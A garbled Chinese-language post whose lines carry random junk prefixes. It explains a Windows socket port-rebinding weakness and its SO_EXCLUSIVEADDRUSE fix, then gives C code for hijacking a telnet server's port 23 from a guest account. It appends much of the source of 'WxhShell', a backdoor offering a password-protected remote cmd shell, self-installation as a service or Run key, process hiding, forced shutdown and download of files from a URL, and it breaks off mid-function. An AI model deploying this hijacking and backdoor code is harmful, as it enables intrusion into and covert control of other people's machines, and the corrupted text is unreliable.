在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
k`o8(zPb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(t){o>l ySI}Nm>&= saddr.sin_family = AF_INET;
A;5_/ 2 Hs$HeAp; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n*ROlCxV _u""v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{sxdDl C=CZtjUt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#D#kw*c C?k\5AzT 这意味着什么?意味着可以进行如下的攻击:
5VpqDL~d =`*@OJHH 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>0[:uu,'> KwV!smi2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}9^'etD M)ao}m> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
r;)31Tg A9g/At_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
33KCO $tF\7.e@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~3-"1E>Rgy t^Lb}A#$4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
HY eCq9S U.V/JbXX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
3#x1(+c6 O8A(OfX #include
(,ik:j #include
V;g) P #include
-+u}u=z% #include
,;hpqu| DWORD WINAPI ClientThread(LPVOID lpParam);
1JUj e int main()
;&gk)w6* {
4%zy$,|e WORD wVersionRequested;
BeLqk3'/ DWORD ret;
+)bn}L>Rl WSADATA wsaData;
i#^YQCy BOOL val;
GLESngAl SOCKADDR_IN saddr;
K2e68GU SOCKADDR_IN scaddr;
]'7Au]Us` int err;
~ES%=if~Y SOCKET s;
NV-l9 SOCKET sc;
WO{7/h</ int caddsize;
pouXt-%2X HANDLE mt;
F+*fim'NK DWORD tid;
t9MCT$U wVersionRequested = MAKEWORD( 2, 2 );
pEz^z9 err = WSAStartup( wVersionRequested, &wsaData );
WtKKdL if ( err != 0 ) {
w N`Njm9! printf("error!WSAStartup failed!\n");
FfxD=\ return -1;
)t3`O$J }
+}1zw< saddr.sin_family = AF_INET;
mI{Fs|9h M%la@2SK= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
l53Q"ajG Ywv\9KL saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$j(d`@.DN~ saddr.sin_port = htons(23);
hr&&b3W3p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T)%6"rPL3! {
<,0/BMz printf("error!socket failed!\n");
v&(=^A\eN return -1;
>&:}L% }
L1I1SFG val = TRUE;
D
vvi)/< //SO_REUSEADDR选项就是可以实现端口重绑定的
4X*U~} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}apno|W& {
8X.=
6M printf("error!setsockopt failed!\n");
XN6$TNsD$ return -1;
1<Mb@t }
< qab\M0W //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
V=5S=7 Z: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cr<j<#(Z} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Y3~z#< K?[Vz[-Fc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}y+Qj6dP {
ZA. SX|m ret=GetLastError();
1ig*Xp[ printf("error!bind failed!\n");
?>{u@tYL return -1;
T@{ab1KV }
R) :Xs . listen(s,2);
*k; bkd4x while(1)
+6l#hO7h {
P_0[spmFU caddsize = sizeof(scaddr);
GDC@s<[k //接受连接请求
@[?ZwzY:9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
j0X^,ot@m if(sc!=INVALID_SOCKET)
Q0Do B {
uF|_6~g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i/n
ee_ if(mt==NULL)
*k_<|{>j( {
WEX7=^k9 printf("Thread Creat Failed!\n");
8f[ztT0`g break;
[ dVBsi }
fCN+9!ljG` }
LxGD=b CloseHandle(mt);
kvbW^pl }
T[xIn+w closesocket(s);
yQ[ ;.<%v WSACleanup();
%qo.n v return 0;
-`{W~yz }
h!JyFc
DWORD WINAPI ClientThread(LPVOID lpParam)
%AtT(G(n {
L7aVj&xM SOCKET ss = (SOCKET)lpParam;
s@iY'11 SOCKET sc;
)92(C unsigned char buf[4096];
4H,c;g=! SOCKADDR_IN saddr;
p`A2^FS) long num;
P (7Q8i' DWORD val;
VpYD/Oj4; DWORD ret;
Yb`b/BMR //如果是隐藏端口应用的话,可以在此处加一些判断
(0#$%US\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*yw!Y{e!9 saddr.sin_family = AF_INET;
U^GVz%\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z8'zH> saddr.sin_port = htons(23);
`pCy:J?d>l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LTzdg >\oJ {
8rS;}Bt printf("error!socket failed!\n");
e(a,nZF. return -1;
|>xuH#Q }
~+0IFJ `} val = 100;
#_S]\=N( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6'N_bNW {
QtG6v<A ret = GetLastError();
9O-~Ws ; return -1;
`?R{sNr. }
'R'hRMD9o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d7G@Z|R3p {
0fBwy/: ret = GetLastError();
VVAc bAGJ return -1;
HBvyX`- }
-Z:x!M[Xr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QN$s%&O {
&PL=nI\) printf("error!socket connect failed!\n");
Rh)XYCM closesocket(sc);
+%,oq]<[, closesocket(ss);
LI3L~6A> return -1;
F.aG7 }
N0^SWA|S while(1)
jlF3LK)9q {
+aEm]=3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$
-<(geI //如果是嗅探内容的话,可以再此处进行内容分析和记录
9M7P|Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#yR&|*@ num = recv(ss,buf,4096,0);
0\Jeyb2dl if(num>0)
c CDT27@ send(sc,buf,num,0);
|5dNJF8;Q else if(num==0)
WHv6E!^\_ break;
@{fwM;me]P num = recv(sc,buf,4096,0);
#[x*0K-h if(num>0)
0{B<A^Bf send(ss,buf,num,0);
j2IK\~W?- else if(num==0)
SE' |||B break;
i}C%8}% }
!e<2o2~. closesocket(ss);
z8"1*V closesocket(sc);
ReM]I<WuY return 0 ;
?t6wozib2 }
{*hvzS{1d tF-l=ph}` A'~mJO/ ==========================================================
8]vut{ 4XVwi<) 下边附上一个代码,,WXhSHELL
9#hp]0S6 y0T#Qq ==========================================================
65O 8?I t CO?<QBE #include "stdafx.h"
1Dhe!
n# nj;3U^ #include <stdio.h>
'a JE+ #include <string.h>
8N"WKBj|_d #include <windows.h>
h
x5M)8#+ #include <winsock2.h>
CYE[$*g6y #include <winsvc.h>
W$,/hB& z #include <urlmon.h>
%>9L}OAm bfncO[Q,? #pragma comment (lib, "Ws2_32.lib")
`S-l.zSZ4B #pragma comment (lib, "urlmon.lib")
hg0{x/Dgny 2
yANf #define MAX_USER 100 // 最大客户端连接数
$G)HU6hF* #define BUF_SOCK 200 // sock buffer
*My9r.F5o #define KEY_BUFF 255 // 输入 buffer
d
oEuKT r_Ou\|jU #define REBOOT 0 // 重启
4OJD_
#define SHUTDOWN 1 // 关机
M6Xzyt| 6QT&{|q= #define DEF_PORT 5000 // 监听端口
}ff^^7_ {Y2J: x #define REG_LEN 16 // 注册表键长度
LVdR,'lS #define SVC_LEN 80 // NT服务名长度
-R]~kGa6m< PIo@B|W-SX // 从dll定义API
%f("3!#H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1twpOZ> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
aj1,h)P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
dr&G> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
6A.%)whI; %vZHHBylu // wxhshell配置信息
\*{Mg wF struct WSCFG {
&v;fK$=2C int ws_port; // 监听端口
.s4v*bng char ws_passstr[REG_LEN]; // 口令
j[\:#/J int ws_autoins; // 安装标记, 1=yes 0=no
D bi ^% char ws_regname[REG_LEN]; // 注册表键名
7R79[:uwJ char ws_svcname[REG_LEN]; // 服务名
B?^~1Ua9Zv char ws_svcdisp[SVC_LEN]; // 服务显示名
J;wBS w%1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
>2),HZp^I char ws_passmsg[SVC_LEN]; // 密码输入提示信息
P=<lY}, int ws_downexe; // 下载执行标记, 1=yes 0=no
rf@47H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
jLMy27Cn char ws_filenam[SVC_LEN]; // 下载后保存的文件名
t&w.Wc X) m(9I+` };
/E\04Bs (*6 .-Xn // default Wxhshell configuration
a]5y
CBm struct WSCFG wscfg={DEF_PORT,
rf]z5; "xuhuanlingzhe",
W,yLGz \ 1,
C<T6l'S{? "Wxhshell",
L'KKU4zj "Wxhshell",
Qt>kythi "WxhShell Service",
i={4rZOD^ "Wrsky Windows CmdShell Service",
ZDp^k{AN9a "Please Input Your Password: ",
WW6-oQs_#* 1,
q&9]4j "
http://www.wrsky.com/wxhshell.exe",
C|IHRw`[ "Wxhshell.exe"
"bRjY?D };
?#&[1.= u (vD==n9Hd // 消息定义模块
>m!Z$m([J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0iR?r+| char *msg_ws_prompt="\n\r? for help\n\r#>";
3[_WTwX0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
PbS1`8|4 char *msg_ws_ext="\n\rExit.";
VrfEa d char *msg_ws_end="\n\rQuit.";
?Q"<AL>Z char *msg_ws_boot="\n\rReboot...";
cc`u{F9 char *msg_ws_poff="\n\rShutdown...";
/&47qU4PJ char *msg_ws_down="\n\rSave to ";
wVI_SQ<8V 4B[pQlg char *msg_ws_err="\n\rErr!";
+eH`mI0f char *msg_ws_ok="\n\rOK!";
UeZ(@6_: OMo /a%` char ExeFile[MAX_PATH];
|k]]dP|:' int nUser = 0;
WwWOic2 HANDLE handles[MAX_USER];
h~qvd--p0 int OsIsNt;
(7!pc toD!RE SERVICE_STATUS serviceStatus;
9SA %' SERVICE_STATUS_HANDLE hServiceStatusHandle;
%rrD+ %WR"qd&HSh // 函数声明
bw/mF5AsW int Install(void);
qHyOaKMd int Uninstall(void);
a[j]fv*6 int DownloadFile(char *sURL, SOCKET wsh);
gn.)_ int Boot(int flag);
9$9aBW void HideProc(void);
c'VCCXe int GetOsVer(void);
$>_`.*I/ int Wxhshell(SOCKET wsl);
BT0;I void TalkWithClient(void *cs);
vyWx{@ int CmdShell(SOCKET sock);
jz;{,F int StartFromService(void);
_D{FQRU<YD int StartWxhshell(LPSTR lpCmdLine);
t(PA+~sIp `.pd %\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
nwfu@h0G VOID WINAPI NTServiceHandler( DWORD fdwControl );
0(u}z %q;y74 // 数据结构和表定义
!@P{s'<: SERVICE_TABLE_ENTRY DispatchTable[] =
FxK!h.C. {
'ta&qp {wscfg.ws_svcname, NTServiceMain},
+T*??OW@ {NULL, NULL}
j p~Tlomp };
Z]2z*XD nB :i G // 自我安装
`S?_=JIX int Install(void)
rbv {
L">jSZW[[ char svExeFile[MAX_PATH];
jJvd!,=) HKEY key;
D_ej%QtB@ strcpy(svExeFile,ExeFile);
!U2<\!_ HL$7Ou // 如果是win9x系统,修改注册表设为自启动
`\ IaeMvo if(!OsIsNt) {
9)=bBQyr: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Vx5fQ mx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dikX_ Q>D RegCloseKey(key);
%$)Sz[= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LB$0'dZU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
yD!GgnW RegCloseKey(key);
qJl DQc- return 0;
"9hD4R }
`e7vSp }
fn7?g }
${ DSH else {
k'e1ZAn ]0(ZlpT // 如果是NT以上系统,安装为系统服务
N^F5J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m@D :t5 if (schSCManager!=0)
kDRxu!/ {
@_c&lToj_ SC_HANDLE schService = CreateService
gwB0/$!4" (
C~.\2D`zy schSCManager,
cR55,DR,#W wscfg.ws_svcname,
xi,fm wscfg.ws_svcdisp,
5BLBcw\; SERVICE_ALL_ACCESS,
?/@XJcm+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7rGp^ SERVICE_AUTO_START,
=\i%,YY SERVICE_ERROR_NORMAL,
bh\2&]Di/ svExeFile,
;Tq4!w'rH NULL,
Ag(JSVY NULL,
\7$"i5 NULL,
+Qzl-eN/+ NULL,
} 21!b :a NULL
cL#zE );
bng/v
if (schService!=0)
#-"C_~-MH {
pR`nQM-D CloseServiceHandle(schService);
d:]ZFk_* CloseServiceHandle(schSCManager);
T(cpU,Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%7\l+g, strcat(svExeFile,wscfg.ws_svcname);
v-!Spf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<+%y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
1`Bhis9X8 RegCloseKey(key);
D^];6\=.i return 0;
D6yE/QeK4 }
3aU4Z|f~ }
!T~uxeZ/; CloseServiceHandle(schSCManager);
md\Vw?PkU }
@l_rB~ }
c5KciTD^ M#8_Qbvfk return 1;
JH2-' }
s{Y-Vdx DmB?.l- // 自我卸载
hS%oQ)zvE int Uninstall(void)
|x _jpR {
q!5`9u6 HKEY key;
bG.`> K^b'<} $|p if(!OsIsNt) {
4Uwcc):f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w#L`|cYCm RegDeleteValue(key,wscfg.ws_regname);
L1@<7?@X RegCloseKey(key);
o9]!*Y!RA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=XSupM[T RegDeleteValue(key,wscfg.ws_regname);
-B7X;{
RegCloseKey(key);
'XYjo&w return 0;
=gd~rk9 }
i{HzY[ }
*J4\KU }
v.,D,6qZ else {
a`C2:Z23(# c,G[R k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
VIod6Vk if (schSCManager!=0)
oHV!>K_D {
bQ0+Y?,+/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8KdcU[w] if (schService!=0)
;__k*<+{. {
k&u5`F if(DeleteService(schService)!=0) {
k$7Kz" CloseServiceHandle(schService);
Ycxv=Et CloseServiceHandle(schSCManager);
<fgf L9- return 0;
J/Ch
/Sa }
THCvcU?X CloseServiceHandle(schService);
WE
/1h }
~sWXd~\ CloseServiceHandle(schSCManager);
oHu 7<r }
/|v
b)J }
u+pZ<Bb kidv^`.H$w return 1;
/Hq#!2) }
b0N7[M1Xl 2jxh7\zE // 从指定url下载文件
3JF" O+@ int DownloadFile(char *sURL, SOCKET wsh)
UH5A;SrTqR {
z<cPy)F]" HRESULT hr;
ySlGqR1H char seps[]= "/";
6\QsK96_ char *token;
@]V_%, char *file;
Orlf5{P char myURL[MAX_PATH];
Cv`dK=n> char myFILE[MAX_PATH];
R?2T0^0 0o
8V8 : strcpy(myURL,sURL);
]==S?_.B3n token=strtok(myURL,seps);
{'?PGk%v while(token!=NULL)
97}l`z;Z {
.&KC2#4 file=token;
uUv^]B 8GM token=strtok(NULL,seps);
+\cG{n* }
t6%zfm
R:44Gv7 GetCurrentDirectory(MAX_PATH,myFILE);
&?9~e>.OS strcat(myFILE, "\\");
BGO
pUy strcat(myFILE, file);
Gs*X> D send(wsh,myFILE,strlen(myFILE),0);
Z/e[$xT < send(wsh,"...",3,0);
`TDS4Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
R]S!PSoL if(hr==S_OK)
f Q2U| return 0;
S^5Qhv else
d}^hZ8k| return 1;
jhka;m FaG&U }
srS5-fs ,esUls'nz' // 系统电源模块
[O3)s] | int Boot(int flag)
9*[!ux7h {
|7miT!y8 HANDLE hToken;
4tp} TOKEN_PRIVILEGES tkp;
)u=a+T c 1{nOx if(OsIsNt) {
#b;TjnC5{$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
19\
V@d^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
i6:O9Km tkp.PrivilegeCount = 1;
t8 ~isuiK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2t#[$2mg\0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6lQP+! EF if(flag==REBOOT) {
RJD(c#r$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6eK7Jv\K return 0;
mP./e8 }
m*>gG{3; else {
}FkF1?C if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:-T[)Q+-3 return 0;
VzuU0 }
nS^,Sq\Ak }
QM=Y}
else {
'#612iZo if(flag==REBOOT) {
A+"'8%o9} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Es1T{<G|w return 0;
*HQ>tvUh }
zi+NQOhR else {
edfb7prfTl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
mfgUf return 0;
lnrs4s Km }
SJ&+"S& }
S@WT;Q2Z z3|5E#m return 1;
*7yrm&@nG }
SA,+oq( *V@t]d$=# // win9x进程隐藏模块
%$+bO/f void HideProc(void)
O|&SL03Z8 {
aydf# [F BvpUcICJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
0gJ{fcI if ( hKernel != NULL )
ua%j}%G( {
M4L<u,\1s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yOm#c>X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
sbq:8P# FreeLibrary(hKernel);
?#/~BZR! }
tr%VYc|} "0?"
E\ return;
207h$a, }
6oq/\D$6~ |h2=9\:] // 获取操作系统版本
81S0: = int GetOsVer(void)
ce1U}">11 {
ujeN|W OSVERSIONINFO winfo;
d{c06(#_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#9]O92t2UV GetVersionEx(&winfo);
<*db%{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`s_k+ g return 1;
idY
Xv)R else
+-MieiKv return 0;
;^so;>F }
8MBvp* iY3TB|tMt // 客户端句柄模块
S1_):JvV int Wxhshell(SOCKET wsl)
a}kPc}n\ {
3q0S}<h al SOCKET wsh;
#i-b|J+% struct sockaddr_in client;
X;yThb`iI DWORD myID;
SM[VHNr,- lxtt+R while(nUser<MAX_USER)
n@//d.T {
O|0,=
5 int nSize=sizeof(client);
c#8@>; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
dY.NQ1@" if(wsh==INVALID_SOCKET) return 1;
mZL0<vU@^ Ihx[S!: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
x8RiYi+ if(handles[nUser]==0)
6@=ipPCR closesocket(wsh);
*30T$_PiX| else
li%A?_/m<& nUser++;
t^g+nguz }
sO8F0@%aH( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UZ7ukn- 23P7%\ return 0;
/3qKsv# }
@BI;H
V%k ~p\r( B7G // 关闭 socket
+Al*MusS void CloseIt(SOCKET wsh)
y6 gaoj {
U/>l>J5 closesocket(wsh);
W%<z|
nUser--;
fWl #CI\] ExitThread(0);
3F{R$M} }
MZdj!(hO 7J5Yzu)D // 客户端请求句柄
Xrzpn&Y=# void TalkWithClient(void *cs)
F)=*Ga {
w)"F=33}5 9mB] \{^ SOCKET wsh=(SOCKET)cs;
x3 01uf[ char pwd[SVC_LEN];
T&]IPOH9 char cmd[KEY_BUFF];
E&> 2=$~ char chr[1];
F&D,y-CQ int i,j;
~R~MC(5N[ Gn 1 while (nUser < MAX_USER) {
]nm(V Twpk@2=l if(wscfg.ws_passstr) {
'$q3 Ze if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
q
7hoI] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u Uh6/=y //ZeroMemory(pwd,KEY_BUFF);
So}pA2[0 i=0;
$~'G<YYF4 while(i<SVC_LEN) {
Ej$oRo{IG Nq[-.}Z6 // 设置超时
\N)!]jq fd_set FdRead;
cs)R8vuB)z struct timeval TimeOut;
qDjH^f FD_ZERO(&FdRead);
-hZw.eChQa FD_SET(wsh,&FdRead);
]t_ Wl1*| TimeOut.tv_sec=8;
Y|-:z@n6C TimeOut.tv_usec=0;
|uM(A~? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Fuo.8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'2m"ocaf OwLJS5r@<- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fTd":F pwd
=chr[0]; OTmr-l6
if(chr[0]==0xd || chr[0]==0xa) { Q*R9OF
pwd=0; qex::Qf
break; Eg$Er*)h8
} 5$/Me=g<
i++; :-cqC|Y
} \1#~]1~
s
FES0lw{G#
// 如果是非法用户,关闭 socket cp4~`X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kjOI7` DU
} xm> y3WC
WWv.kglz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MG3xX;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -
*xn`DH
14p{V}f3
while(1) { A2I\T,Z
+jj] tJ$[
ZeroMemory(cmd,KEY_BUFF); `6{4?v
5
$.az
// 自动支持客户端 telnet标准 0|]qWcD
j=0; /5Xt<7vm8
while(j<KEY_BUFF) { %TzdpQp"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); phy:G}F6%
cmd[j]=chr[0]; )9kp[hY
if(chr[0]==0xa || chr[0]==0xd) { cxnEcX\
cmd[j]=0; &8hW~G>(m
break; k j&hn
} @Pf['BF"
j++; 7h\U}!
} QX+&[G!DZH
[B%:!Q)@
// 下载文件 {N@tJ,Fh{
if(strstr(cmd,"http://")) { 6x@4gPy[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~oeX0l>F
if(DownloadFile(cmd,wsh)) 6tup^Rlo;$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:sfM`Z^[
else x^y&<tA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Vj112 fI
} oC(.u ?
else { RHuc#b0
<Mf(2`T
switch(cmd[0]) { ^PowL:
}*vO&J@z
// 帮助 i[PksT#p
case '?': { gr4JaV
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nT@FSt
break; q=+wQ[a<
} HLl"=m1/>
// 安装 =_`cY^ib+
case 'i': { Zu/1:8x
if(Install()) Z xR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zq]:.s
else d>x(Bj6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @|@6pXR.
break; -p f9Wk
} u$+nl~p[&
// 卸载 NzbHg p
case 'r': { ?wMS[Kj
if(Uninstall()) )7a
4yTg!~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zO3}c3D~q
else "Fqrk>Q~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M/jdMfU
break; PAv<J<d
} W+aW2
// 显示 wxhshell 所在路径 xWKUti i
case 'p': { %DhLU~VX
char svExeFile[MAX_PATH]; tdn|mX#
strcpy(svExeFile,"\n\r"); l"9$lF}
strcat(svExeFile,ExeFile); uar[D|DcD"
send(wsh,svExeFile,strlen(svExeFile),0); iU4Z9z!
break; : W0;U
} [)nU?l
// 重启 64f6D"."
case 'b': { gdG#;T'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2yA+zJ
46B
if(Boot(REBOOT)) q #X[oVq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \"$jj<gc
else { n)R[T.E)+
closesocket(wsh); HkyN$1s
ExitThread(0); ;f2<vp;U
} CV*
break; N~9zQ
} %QX"oRMn0
// 关机 hr/|Fn+kA
case 'd': { _kQOax{c/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0Y/k/)Ul]
if(Boot(SHUTDOWN)) ou[Wz{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \$2zF8
else { Xvn \~Vr
closesocket(wsh); [};?;YN
ExitThread(0); Q@.%^1Mp
} >TS=tK
break; |=EwZmj-c
} !9EbG
// 获取shell PpR
eqmo
case 's': { pcPRkYT[M
CmdShell(wsh); Is}?:ET
closesocket(wsh); RH&}'4JE:
ExitThread(0); QHe:
break; Y,d|b V*FH
} 61`tQFx,
// 退出 "S3U]zw0_
case 'x': { LH>h]OTQF
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !24g_R[3"
CloseIt(wsh); ;;n=(cM|z
break; /P/::$
} }r:8w*47
// 离开 ~D!Y]
SK
case 'q': { K?,`gCN}v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); GlaZZ,
closesocket(wsh); #oEq)Vq>g|
WSACleanup(); bk4G+wGw
exit(1); ~)]n67Or~
break; H]>7IhJ
} i|G /x
} ]C$$Cx)Ex
} q%wF=<W
`}*jjnr"
// 提示信息 vjYG>YhV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8rSu,&<
} H^8t/h
} |p":s3K"Hy
Ox+}JB
[
return; ( ALsc@K
} `-<m#HF:)d
Bt"*a=t;
// shell模块句柄 30L/-+r1
int CmdShell(SOCKET sock) Tg6nb7@P
{ zjwo"6c>
STARTUPINFO si; 8'Q1'yc
ZeroMemory(&si,sizeof(si)); -/J2;AkGH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *uMtl'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rOXh?r
PROCESS_INFORMATION ProcessInfo; [300F=R
char cmdline[]="cmd"; B-aJn8>/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Axx{G~n! [
return 0; X e\,:~
} kF7`R4Sz
j%E9@#
// 自身启动模式 (r$QQO)/
int StartFromService(void) W^dRA xVX
{ T( sEk
typedef struct _ +A$6l
{ K@;ls
DWORD ExitStatus; q<?r5H5
DWORD PebBaseAddress; T!gq
Z
DWORD AffinityMask; %{^kmlO
